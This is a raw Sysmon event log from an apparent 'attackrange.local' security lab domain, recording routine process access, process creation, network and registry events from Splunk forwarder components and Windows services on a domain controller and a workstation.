14:47:20.177{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046230Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:20.177{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046229Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:20.177{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6FF8-613B-F50A-00000000F001}1140C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000046228Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:20.177{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-6FF8-613B-F50A-00000000F001}1140C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000046227Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:20.178{7BD73061-6FF8-613B-F50A-00000000F001}1140C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 354300x800000000000000046226Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:17.477{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59293-false10.0.1.12-8000- 23542300x800000000000000014350Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:21.610{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C27D03EC3E12F300CE0CF31B0F8F7FCC,SHA256=AC0D0CD36BF994482E2C1104840F4143BC5F92D88C38471245CA62C49E28B5B1,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000046260Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:21.865{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-6FF9-613B-F70A-00000000F001}6764C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046259Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:21.865{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046258Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:21.865{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046257Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:21.865{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046256Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:21.865{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046255Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:21.865{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6FF9-613B-F70A-00000000F001}6764C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000046254Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:21.865{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-6FF9-613B-F70A-00000000F001}6764C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000046253Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:21.866{7BD73061-6FF9-613B-F70A-00000000F001}6764C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 13241300x800000000000000046252Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:47:21.458{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXEHKU\S-1-5-21-589020557-3528615288-1361562277-500\SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{B8CDCB65-B1BF-4B42-9428-1DFDB7EE92AF} {000214E4-0000-0000-C000-000000000046} 0xFFFFBinary Data 10341000x800000000000000046251Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:21.443{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046250Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:21.443{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046249Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:21.443{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046248Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:21.443{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000046247Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:21.365{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=00F79C809745F7C5767A2191DAAEE478,SHA256=F0CC97CD70D8E9430A55F5C3B5F33F3C8085E853074C47E8361EB20691176B6E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046246Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:21.208{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=4FED1C12FCC14AC6922DAF5F8E15A352,SHA256=880E8C8EE43AE49307BB00EAED442340EBAC20218829606F23197DFE07CA6129,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000014353Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:21.438{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50151-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000014352Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:22.642{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=414E952FD3C1894651B9E2F876B1BCB1,SHA256=18C02D9569C1D898305EEADFB3433A3A47AFCB998653BD61502645F8849ED873,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046262Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:22.911{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=4AFE6959931734DAB2E2CCA2A13681C7,SHA256=B346BB88C9DE1793DA193186838575C0BA227594023FB88CE90AEE105F03C162,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046261Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:22.396{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CB8F277591BA0A96D8953DC876BD2035,SHA256=E0EFDF0FC625BCC8673C0FAED8FF0B02033E82B2B313A214A71FE744FB3829FB,IMPHASH=00000000000000000000000000000000falsetrue 13241300x800000000000000014351Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 14:47:22.095{625C326B-67EE-613B-1300-00000000F101}368C:\Windows\system32\svchost.exeHKLM\System\CurrentControlSet\Services\W32Time\Config\LastKnownGoodTimeQWORD (0x01d7a652-0xc3118b43) 354300x800000000000000014356Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:22.407{625C326B-67EE-613B-1300-00000000F101}368C:\Windows\System32\svchost.exeNT AUTHORITY\LOCAL SERVICEudptruefalse10.0.1.15win-host-166.attackrange.local123ntpfalse20.101.57.9-123ntp 354300x800000000000000014355Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:22.407{625C326B-67EE-613B-1300-00000000F101}368C:\Windows\System32\svchost.exeNT AUTHORITY\LOCAL SERVICEudptruefalse10.0.1.15win-host-166.attackrange.local123ntpfalse10.0.1.14-123ntp 23542300x800000000000000014354Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:23.673{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=119ECF83649AB8B157AB269393FD419D,SHA256=6D07ADE6DD24D9578F01C8AF780C7210C26C5E1EA60FE115F1365D98DB230C12,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000046270Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:23.818{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046269Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:23.818{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046268Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:23.818{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046267Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:23.818{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046266Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 